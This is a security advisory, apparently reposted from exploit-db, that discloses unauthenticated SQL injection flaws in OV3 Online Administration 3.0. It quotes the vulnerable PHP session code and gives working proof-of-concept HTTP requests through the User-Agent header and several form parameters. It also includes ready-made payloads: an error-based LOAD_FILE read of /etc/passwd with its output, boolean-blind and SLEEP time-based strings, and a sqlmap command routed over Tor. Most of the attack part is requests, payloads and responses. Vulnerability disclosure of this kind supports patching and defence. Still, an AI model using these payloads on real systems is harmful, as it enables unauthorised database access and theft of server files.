OV3 Online Administration 3.0 – SQL Injection

  • 作者: LiquidWorm
    日期: 2017-05-31
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/42097/
  • OV3 Online Administration 3.0 Multiple Unauthenticated SQL Injection Vulnerabilities
    
    
    Vendor: novaCapta Software & Consulting GmbH
    Product web page: http://www.meacon.de
    Affected version: 3.0
    
    Summary: With the decision to use the OV3 as a platform for your data management,
    the course is set for scalable, flexible and high-performance applications. Whether
    you use the OV3 for your internal data management or use it for commercial business
    applications such as shops, portals, etc. Thanks to the data-based structure of the
    OV3, you always have the best tool at your fingertips. The OV3 is a 100% web-based
    tool. This eliminates the need to install a new software on all participating client
    computers. All elements are operated by a standard browser. Further advantages are
    the location-dependent use and - particularly with ASP solutions - the reduced costs
    for local hardware like own servers and modern client workstations.
    
    Desc: OV3 suffers from multiple SQL Injection vulnerabilities. Input passed via multiple
    GET and POST parameters, including the User-Agent HTTP header, is not properly sanitised
    before being returned to the user or used in SQL queries. This can be exploited to manipulate
    SQL queries by injecting arbitrary SQL code.
    
    
    Tested on: CentOS release 6.8 (Final)
     PHP/5.3.3
     Apache/2.2.15
     MySQL/5.0.11
    
    
    Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
    @zeroscience
    
    
    Advisory ID: ZSL-2017-5412
    Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5412.php
    
    
    26.12.2016
    
    --
    
    The application is using some functions for escaping special characters and boolean checks,
    but in many scripts there are plenty of vulnerabilities identified.
    
    One of the vulnerable variables is "u_id" which is called via the login POST parameter.
    When visiting the application, ov3.php gets loaded as main index which includes session.inc
    file that contains the admin functions and the main functions for session management.
    
    ============================================================================================
    /ov3.php:
    ---------
    
    21: if(db_connect()!=false){
    22: 	include($ov3_path."admin/session_management/session.inc");
    23: 	include($ov3_path."admin/functions/functions.inc");
    24:
    25: 	// Escapen wichtiger Variablen
    26: 	$sid = addslashes($sid);
    27: 	$lang = addslashes($lang);
    28:
    29: 	// Session ueberpruefen bzw. anlegen
    30: 	$u_info=check_session($sid);
    
    ============================================================================================
    
    
    The vulnerabilities can be triggered in four session functions: new_session(), check_session(),
    session_info() and check_login(). The db_exec() result query on line 22 or 74 is not using safe
    functions when using the HTTP_USER_AGENT for parsing the User-Agent HTTP header contents.
    
    ============================================================================================
    /admin/session_management/session.inc:
    --------------------------------------
    
    18: function check_session($sid){
    19: 	global $no_ip, $ip_check, $db,$OV_SESSION_NO_IP;
    20:
    21: 	if($sid==""){return -2;} // keine SID geliefert
    22: 	$result=db_exec("SELECT s_valid_time,u_id,c_id,ip_addr FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".addslashes($sid)."' and user_agent=".$db[DB_SYSTEM]['uc_prefix']."'".substr(getenv("HTTP_USER_AGENT"),0,127)."'", __FILE__, __LINE__);
    23: 	if(db_rows($result)!=1){return -1;}
    24: 	// Session existiert
    25: 	$data = db_fetch_array($result,"");
    26: 	db_free($result);
    27: 	unset($result);
    28: 	if($data["s_valid_time"] < time()){return -3;}// Session Zeit abgelaufen
    29: 	if(!isset($OV_SESSION_NO_IP) || !$OV_SESSION_NO_IP[$data['c_id']]===true){
    30: 		// IP check
    31: 		$nFirstThreeBytes = strrpos(getenv ("REMOTE_ADDR"),".");
    32: 		//echo substr($data['ip_addr'],0,$nFirstThreeBytes)." ".substr(getenv ("REMOTE_ADDR"),0,$nFirstThreeBytes);
    33: 		if(substr($data['ip_addr'],0,$nFirstThreeBytes) != substr(getenv ("REMOTE_ADDR"),0,$nFirstThreeBytes)){
    34: 			return -4;	// ip stimmt nicht
    35: 		}
    36: 	}
    37: 	touch_session($sid);
    38: 	return $data;
    39: }
    ....
    ....
    60: function new_session() {
    61: 	global $session_time, $db;
    62:
    63: 	// microtime ist nur uf Unix Systemen verfuegbar. sonst: time()
    64: 	if (OV_DEBUG==false) {
    65: 		srand(microtime() * 1000000);
    66: 		$sid=md5(uniqid(rand()));
    67: 	} else {
    68: 		$sid = $_GET['temp_sid'];
    69: 		db_exec("DELETE FROM ov_sessions WHERE sid='".$_GET['temp_sid']."'");
    70: 	}
    71:
    72: 	$time=time();
    73:
    74: 	db_exec("INSERT INTO ov_sessions (sid, s_time,s_valid_time,ip_addr,user_agent) values (".$db[DB_SYSTEM]['uc_prefix']."'".$sid."', $time, ".($time+$session_time).", ".$db[DB_SYSTEM]['uc_prefix']."'".getenv("REMOTE_ADDR")."', ".$db[DB_SYSTEM]['uc_prefix']."'".substr(getenv("HTTP_USER_AGENT"),0,127)."')", __FILE__, __LINE__);
    75:
    76: 	unset($time);
    77: 	return $sid;
    78: }
    
    ============================================================================================
    
    
    The following PoC request demonstrates the issue:
    
    GET /ov3.php?todo=manager&manager=home&sub=profile&mode=show&sid=ba2211a30f4d1b395ca5c987eda4TEST&stamp=1234567890&lang=en HTTP/1.1
    Host: 127.0.0.1
    Upgrade-Insecure-Requests: 1
    User-Agent: ZSL/3.0'
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Encoding: gzip, deflate, sdch
    Accept-Language: en-US,en;q=0.8
    DNT: 1
    Connection: close
    
    
    Response:
    
    HTTP/1.1 200 OK
    Server: Apache/2.2.15 (CentOS)
    X-Powered-By: PHP/5.3.3
    Expires: Mon, 26 Jul 1997 05:00:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate
    Cache-Control: post-check=0, pre-check=0
    Pragma: no-cache
    Content-Length: 2400
    Connection: close
    Content-Type: text/html
    
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''ZSL/3.0''' at line 1<br>SELECT s_valid_time,u_id,c_id,ip_addr FROM ov_sessions WHERE sid='ba2211a30f4d1b395ca5c987eda4TEST' and user_agent='ZSL/3.0''<br>File: /opt/www/admin/session_management/session.inc<br>Line: 22<br>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''ZSL/3.0'')' at line 1<br>INSERT INTO ov_sessions (sid, s_time,s_valid_time,ip_addr,user_agent) values ('78bed236c22de53aa235a2978bfad608', 1487616926, 1487624126, '127.0.0.1', 'ZSL/3.0'')<br>File: /opt/www/admin/session_management/session.inc<br>Line: 74
    
    
    Going back to other parameters, multiple vectors available:
    
    ============================================================================================
    /admin/session_management/session.inc:
    --------------------------------------
    
    90: function session_info($sid,$value){
    91: 	global $u_id, $db;
    92:
    93: 	switch($value){
    94: 		case "admin":
    95: 		$result=db_exec("SELECT c_id,u_id FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".$sid."'", __FILE__, __LINE__);
    96: 		$session_array=db_fetch_assoc($result,"");
    97: 		$ret=$session_array["c_id"]."/".$session_array["u_id"];
    98: 		break;
    99: 	case "client":
    100: 		$result=db_exec("SELECT client_auth FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".$sid."'", __FILE__, __LINE__);
    101: 		list($ret)=db_fetch_row($result,"");
    102: 		break;
    103: 	case "time":
    104: 		$result=db_row("SELECT s_time FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".$sid."'");
    105: 		list($ret)=db_fetch_row($result,"");
    106: 		break;
    107: 	case 'ip':
    108: 		$result=db_exec("SELECT ip_addr FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".$sid."'", __FILE__, __LINE__);
    109: 		list($ret)=db_fetch_row($result,"");
    110: 		break;
    111: 	case'u_id':
    112: 		$result=db_exec("SELECT u_id FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".$sid."'", __FILE__, __LINE__);
    113: 		list($ret)=db_fetch_row($result,"");
    114: 		break;
    115: 	case'c_id':
    116: 		$result=db_exec("SELECT c_id FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".$sid."'", __FILE__, __LINE__);
    117: 		list($ret)=db_fetch_row($result,"");
    118: 		break;
    119: 	case'login':
    120: 		$ret=session_info($sid, "u_id");
    121: 		$result=db_exec("SELECT u_name FROM ov_adminusers WHERE u_id=".$ret, __FILE__, __LINE__);
    122: 		list($ret)=db_fetch_row($result,"");
    123: 		break;
    ....
    ....
    279: function check_login($sid,$login,$pwd){
    280: 	global $browser, $system, $ver, $lang, $login_mess, $gui, $sn_cl, $db;
    281:
    282: 	// Check, ob browser ueberhaupt akzeptabel
    283: 	$browser_ok = db_get_val("SELECT admin_browser_ok FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".$sid."'");
    284:
    285: 	if($browser_ok!=1){
    286: 		$ret=false;
    287: 		$login_mess=$gui["login"]["browser_zu_alt"];
    288: 	} else {
    289: 		if(empty($login) && empty($pwd)){
    290: 			$ret=false;
    281: 			$login_mess=$gui["login"]["fehlt_name_und_pwd"];//"Bitte Loginname und Passwort eingeben";
    282: 		} elseif(empty($login)){
    283: 			$ret=false;
    284: 			$login_mess=$gui["login"]["fehlt_name"];//"Bitte Loginname eingeben";
    285: 		} elseif(empty($pwd)){
    286: 			$ret=false;
    287: 			$login_mess=$gui["login"]["fehlt_pwd"];//"Bitte Passwort eingeben";
    288: 		} else{
    289: 			$sql="SELECT ".db_convert("limit0",""," 1")." c_id,u_id,u_pwd,u_logtime FROM ov_adminusers WHERE u_name=".$db[DB_SYSTEM]['uc_prefix']."'".$login."' and (active=1 or active=-2) ".db_convert("limit1",""," 1");
    290: 			$result=db_exec($sql, __FILE__, __LINE__);
    
    ============================================================================================
    
    
    PoC request using sqlmap LOAD_FILE(/etc/passwd):
    ------------------------------------------------
    
    POST /ov3.php?todo=login&admin=login&sid=93be715421fafd53acfa1e90aa4dTEST&stamp=1234567890&lang=de HTTP/1.1
    Origin: http://127.0.0.1
    Content-Length: 373
    Accept-Language: en-US,en;q=0.8
    Accept-Encoding: gzip, deflate
    Host: 127.0.0.1
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Upgrade-Insecure-Requests: 1
    Dnt: 1
    Connection: close
    Cache-Control: max-age=0
    User-Agent: ZSL/3.0
    Content-Type: application/x-www-form-urlencoded
    
    login=sql' AND (SELECT 9673 FROM(SELECT COUNT(*),CONCAT(0x71626a7871,(MID((IFNULL(CAST(LENGTH(LOAD_FILE(0x2f6574632f706173737764)) AS CHAR),0x20)),1,54)),0x716b7a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- yoVM&pwd=test&browser=ns&ver=6&system=mac
    
    
    Output:
    
    root:x:0:0:root:/root:/bin/bash
    bin:x:1:1:bin:/bin:/sbin/nologin
    daemon:x:2:2:daemon:/sbin:/sbin/nologin
    adm:x:3:4:adm:/var/adm:/sbin/nologin
    lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
    sync:x:5:0:sync:/sbin:/bin/sync
    shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
    ...
    ...
    
    
    Output from sqlmap:
    -------------------
    
    # python sqlmap.py -r request.txt --dbms=MySQL -f --hostname -p login --tor --time-sec=15
    
    [*] starting at 00:36:07
    
    [00:36:07] [INFO] parsing HTTP request from 'request.txt'
    [00:36:07] [INFO] setting Tor SOCKS proxy settings
    [00:36:07] [INFO] testing connection to the target URL
    sqlmap resumed the following injection point(s) from stored session:
    ---
    Parameter: login (POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: login=sql' RLIKE (SELECT (CASE WHEN (2881=2881) THEN 0x73716c ELSE 0x28 END))-- pMGL&pwd=test&browser=ns&ver=6&system=mac
    
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: login=sql' AND (SELECT 4371 FROM(SELECT COUNT(*),CONCAT(0x71626a7871,(SELECT (ELT(4371=4371,1))),0x716b7a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- jFHk&pwd=test&browser=ns&ver=6&system=mac
    
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind
    Payload: login=sql' OR SLEEP(15)-- iSlp&pwd=test&browser=ns&ver=6&system=mac
    ---
    [00:36:08] [INFO] testing MySQL
    [00:36:08] [INFO] confirming MySQL
    [00:36:08] [INFO] the back-end DBMS is MySQL
    [00:36:08] [INFO] actively fingerprinting MySQL
    [00:36:14] [INFO] executing MySQL comment injection fingerprint
    [00:36:15] [WARNING] unable to perform MySQL comment injection
    web server operating system: Linux CentOS 6.8
    web application technology: PHP 5.3.3, Apache 2.2.15
    back-end DBMS: active fingerprint: MySQL >= 5.0.11 and < 5.0.19
    [00:36:15] [INFO] fetching server hostname
    [00:36:15] [INFO] resumed: zslab.local
    hostname:'zslab.local'
    [00:36:15] [INFO] fetched data logged to text files under '/Users/thricer/.sqlmap/output/zslab.local'
    
    [*] shutting down at 00:36:15
    
    #
    
    
    Another example using the "ls[typedef]" POST parameter:
    
    ============================================================================================
    /admin/manager/media/display.inc:
    ---------------------------------
    
    268: 		$result=db_exec($sql." ".$sortby, __FILE__, __LINE__);
    
    ============================================================================================
    
    Request:
    
    POST /ov3.php?todo=manager&manager=media&sub=display&show=1&ls[small]=&ls[iname]=&ls[size]=&ls[editkey]=&ls[width]=&ls[height]=&ls[mwidth]=&ls[mheight]=&ls[typedef]=*** SQL INJECT ***&ls[edit]=&ls[ov_edit]=&ls[scheme]=&ls[language_id]=&ls[search]=&ls[dsearch]=&ls[type]=&ls[context]=&ls[preview]=&ls[module]=&sid=ba2211a30f4d1b395ca5c987eda4TEST&stamp=1234567890&lang=en HTTP/1.1
    Host: 127.0.0.1
    Content-Length: 128
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: ZSL/3.0
    Content-Type: application/x-www-form-urlencoded
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.8
    Cookie: ov3pm=8306b8f9eb7d5f0b319c49f61933d896
    DNT: 1
    Connection: close
    
    rs%5Bsearch%5D=ab&rs%5Bdsearch%5D=&rs%5Btype%5D=&rs%5Bcontext%5D=&rs%5Bmodule%5D=&rs%5Bscheme%5D=&rs%5Bedit%5D=&rs%5Beditkey%5D=
    
    
    Response:
    
    HTTP/1.1 200 OK
    Server: Apache/2.2.15 (CentOS)
    X-Powered-By: PHP/5.3.3
    Expires: Mon, 26 Jul 1997 05:00:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate
    Cache-Control: post-check=0, pre-check=0
    Pragma: no-cache
    Content-Length: 7154
    Connection: close
    Content-Type: text/html
    
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' ORDER BY file_name ASC' at line 1<br>SELECT params, media_data_1337.locked, media_data_1337.locked_by, id, media_data_1337.changed, type, file_internal, file_name, size, media_data_1337.description,copyright,scheme_id,instances FROM media_data_1337 WHERE (file_name LIKE '%ab%' OR file_internal LIKE '%ab%') andtype=''' ORDER BY file_name ASC<br>File: /opt/www/admin/manager/media/display.inc<br>Line: 268<br><html>
    
    
    
    POST parameters "rs[module]", "rs[path]" and "rs[edit_id]" via /admin/functions/functions.inc on line 499 also
    allows the attacker to easily break out of the query by using the single quote character getting a detailed sql
    syntax error disclosing the file path and table names:
    
    499: 		$result=db_exec("SELECT COUNT(*) AS num FROM tasklists_".$c_id." WHERE (tl_pos=0 AND m_id=".$module." AND language_id='".$language_id."') OR (tl_pos=0 AND m_id=-1)", __FILE__, __LINE__);
    
    
    Request:
    
    POST /ov3.php?todo=manager&manager=task&sub=show&sid=ba2211a30f4d1b395ca5c987eda4TEST&stamp=1234567890&lang=en HTTP/1.1
    Host: 127.0.0.1
    Content-Length: 115
    Cache-Control: max-age=0
    Origin: http://127.0.0.1
    Upgrade-Insecure-Requests: 1
    User-Agent: ZSL/3.0
    Content-Type: application/x-www-form-urlencoded
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.8
    Cookie: ov3pm=8306b8f9eb7d5f0b319c49f61933d896
    DNT: 1
    Connection: close
    
    rs%5Bstatus%5D=0&rs%5Bmodule%5D='&rs%5Btask_language%5D=&rs%5Bpath%5D=&rs%5Bsmall%5D=&rs%5Bedit%5D=&rs%5Beditkey%5D=
    
    
    Response:
    
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1<br>SELECT m_multilingual FROM ov_data WHERE m_id=\'<br>File: <br>Line: <br>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' AND language_id='') OR (tl_pos=0 AND m_id=-1)' at line 1<br>SELECT COUNT(*) AS num FROM tasklists_5575 WHERE (tl_pos=0 AND m_id=\' AND language_id='') OR (tl_pos=0 AND m_id=-1)<br>File: /opt/www/admin/functions/functions.inc<br>Line: 499<br>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1<br>SELECT m_name FROM ov_data WHERE m_id=\'<br>File: <br>Line:
    
    
    PoC SQL Injection via GET requests:
    -----------------------------------
    
    GET /ov3.php?todo=manager&manager=task&sub=show&rs[status]=2&rs[module]='&rs[path]=&rs[changed]=0&&sid=ba2211a30f4d1b395ca5c987eda4TEST&stamp=1234567890&lang=en HTTP/1.1
    
    GET /ov3.php?todo=manager&manager=user&sub=profile&do=show&rs[edit_id]=1483825'&rs[home]=1&sid=ba2211a30f4d1b395ca5c987eda4TEST&stamp=1234567890&lang=en HTTP/1.1